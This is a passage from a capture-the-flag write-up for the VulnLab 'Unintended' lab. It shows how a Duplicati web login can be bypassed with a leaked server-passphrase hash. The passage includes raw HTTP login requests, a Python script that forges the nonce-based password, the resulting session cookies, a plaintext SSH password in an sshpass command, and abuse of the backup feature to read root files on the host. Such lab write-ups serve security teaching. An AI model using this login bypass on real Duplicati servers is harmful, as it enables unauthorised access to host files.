Origin: http://web.unintended.vl:8200
Connection: close
Referer: http://web.unintended.vl:8200/login.html
Cookie: rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX1%2BbGu%2Bb1E7pM5%2BnnpIqn%2BBZa2GIB%2BzAu3RsdJQwxPVVmGXZztxIvYoNVmp5ST0SGK8nzrO7O%2Bk1yw%3D%3D; rl_user_id=RudderEncrypt%3AU2FsdGVkX1%2FQ0L2ZNVGsXeTF8C1zORsXk%2BYW9Nx%2BHVR1vC1FAP9HgRX%2Bg%2By4PHoC; rl_trait=RudderEncrypt%3AU2FsdGVkX19MTphNnSPn2j%2BJkYlI%2FlVIisz0FM6LqNk%3D; xsrf-token=evyf4zAw%2FBSecfTUrDPS111ve9OULs5Ivri0mjKDUvU%3D; session-nonce=DVnngbSROPh9ktaiR7XZxp%2FwwPEpcelnsxhjuQIegds%3D

get-nonce=1
  1. Then in the 2nd request, the password is generated and sent based on the nonce and the value we filled in the form:

image

POST /login.cgi HTTP/1.1
Host: web.unintended.vl:8200
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: http://web.unintended.vl:8200
Connection: close
Referer: http://web.unintended.vl:8200/login.html
Cookie: rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX1%2BbGu%2Bb1E7pM5%2BnnpIqn%2BBZa2GIB%2BzAu3RsdJQwxPVVmGXZztxIvYoNVmp5ST0SGK8nzrO7O%2Bk1yw%3D%3D; rl_user_id=RudderEncrypt%3AU2FsdGVkX1%2FQ0L2ZNVGsXeTF8C1zORsXk%2BYW9Nx%2BHVR1vC1FAP9HgRX%2Bg%2By4PHoC; rl_trait=RudderEncrypt%3AU2FsdGVkX19MTphNnSPn2j%2BJkYlI%2FlVIisz0FM6LqNk%3D; xsrf-token=evyf4zAw%2FBSecfTUrDPS111ve9OULs5Ivri0mjKDUvU%3D; session-nonce=jTARn%2BBCuttj5k6nweke75xHkTvbpytxzCMcq%2BWdR0E%3D

password=CN0genenLH0BeKWlL9ZRMr5tFGutqCL55d%2FHSn9Xk6w%3D

In the Duplicati GitHub - Web server source code - login.js, we can understand how the password sent to login.cgi is generated:

image

  • At the beginning, saltedpwd is the SHA256 hash of the password entered by the user concatenated with the salt.
  • Then noncedpwd is the SHA256 hash of the nonce concatenated with saltedpwd, which is sent as the password parameter to login.cgi.

In Duplicati GitHub - RestAPI source code - ServerSettings.cs, we can see where server-passphrase is used:

image

image

  • server-passphrase is the SHA256 hash of the plaintext password concatenated with server-passphrase-salt.
  • This matches the saltedpwd variable in login.js, with the exception that saltedpwd is in hex whereas server-passphrase is in Base64.

In the Duplicati GitHub - RestAPI source code - AuthenticationHandler.cs, we can see how WebserverPassword (aka server-passphrase) is used:

image

  • The password (aka noncedpwd) sent to login.cgi is compared with the SHA256 hash of a randomly generated nonce concatenated with WebserverPassword (aka server-passphrase).

This means that knowing server-passphrase, we can easily compute the correct noncedpwd to be able to login.

We need to send a first request to login.cgi to get a nonce, then send a second request with the password parameter set as the SHA256 hash in Base64 of the nonce concatenated with server-passphrase.

To do that we create a Python script duplicati_login_attack.py:

#!/usr/bin/env python3
## VulnLab Chains Unintended - Unintended_User-3
import requests
import base64
import hashlib

# Found in the duplicati backup in backup.unintended.vl
server_passphrase = 'ZhB5vA+1uCde2Gozh9/CXKfPt8MoNcUklyfk1vBuuQk='

s = requests.Session()

# Duplicati portal
s.get('http://web.unintended.vl:8200/login.html')

# Get the nonce
r = s.post('http://web.unintended.vl:8200/login.cgi', data = {
    'get-nonce': 1
}).json()
nonce = r['Nonce']

# Generate the password
saltedpwd_bin = base64.b64decode(server_passphrase)
noncedpwd = base64.b64encode(hashlib.sha256(base64.b64decode(nonce) + saltedpwd_bin).digest()).decode()

# Post the password
r = s.post('http://web.unintended.vl:8200/login.cgi', data = {
    'password': noncedpwd
})

# Get the cookies
print(f'Status code: {r.status_code}')
print(f'Cookies: {s.cookies}')

Then let’s go:

$ python3 duplicati_login_attack.py 
Status code: 200
Cookies: <RequestsCookieJar[<Cookie xsrf-token=JSBWyxxfd7%2Bfbn199Jnxtra%2BLK6iP1MXomqvs5AP%2FB0%3D for web.unintended.vl/>, <Cookie session-nonce=BBD8oHdd9oqU418NkARSw0%2BYTBNePvPBQ5%2F9zYDjAYc%3D for web.unintended.vl/>, <Cookie session-auth=ZKI5ZK5e55ZIWY8LMknfaTisovAX6U6P_dyNkU-s9XM for web.unintended.vl/>]>

We go to http://web.unintended.vl:8200/login.html and use the Web Developer Tools to set our cookies:

  • xsrf-token=JSBWyxxfd7%2Bfbn199Jnxtra%2BLK6iP1MXomqvs5AP%2FB0%3D
  • session-nonce=BBD8oHdd9oqU418NkARSw0%2BYTBNePvPBQ5%2F9zYDjAYc%3D
  • session-auth=ZKI5ZK5e55ZIWY8LMknfaTisovAX6U6P_dyNkU-s9XM

image

Then we go to http://web.unintended.vl:8200 and we gain the access:

image

Now we create a new backup:

image

image

We select no encryption.

In the next step we need to select our Backup destination.

image

We can see that the /home folder is located in /source, so that tell us that the root filesystem of the host is mounted at /source in the Duplicati container, allowing us to backup any files on the host to any location.

We will select Manually type path and backup /source/root/flag.txt to /source/tmp/flag:

image

image

We continue to click to Next, without changing the default settings and click on Save.

Then click on Run now:

image

image

We double check in the web.unintended.vl that the backup has been done correctly:

$ sshpass -p 'theJUANman2019' ssh unintended.vl\\juan@web.unintended.vl
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Thu May  2 03:25:37 PM UTC 2024

  System load:                      0.27392578125
  Usage of /:                       72.0% of 9.75GB
  Memory usage:                     54%
  Swap usage:                       0%
  Processes:                        166
  Users logged in:                  0
  IPv4 address for br-1c74e0922629: 172.19.0.1
  IPv4 address for br-9f7c921da56a: 172.18.0.1
  IPv4 address for br-d2d8c10f2c77: 172.21.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens5:            10.10.174.246


Expanded Security Maintenance for Applications is not enabled.

13 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Feb 24 19:45:33 2024 from 10.10.10.12
juan@unintended.vl@web:~$ ls /tmp/flag/
duplicati-20240502T152302Z.dlist.zip  duplicati-b1fec533325234dd6bd6f04da3a49e3d5.dblock.zip  duplicati-i209e603bffc24d29bd222995c4e0a469.dindex.zip

Now we will proceed to the restoration:

image

image

image

Then we can finally get the third flag Unintended_User-3:

juan@unintended.vl@web:~$ ls /tmp/flag/
duplicati-20240502T152302Z.dlist.zip  duplicati-b1fec533325234dd6bd6f04da3a49e3d5.dblock.zip  duplicati-i209e603bffc24d29bd222995c4e0a469.dindex.zip  flag.txt
juan@unintended.vl@web:~$ cat /tmp/flag/flag.txt 
VL{9cd5d0d30481f70cd4b0c87cfbe0c1a4}

Extra

Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=022c2532-7e95-42a2-8170-d733dafb6a66

Unintended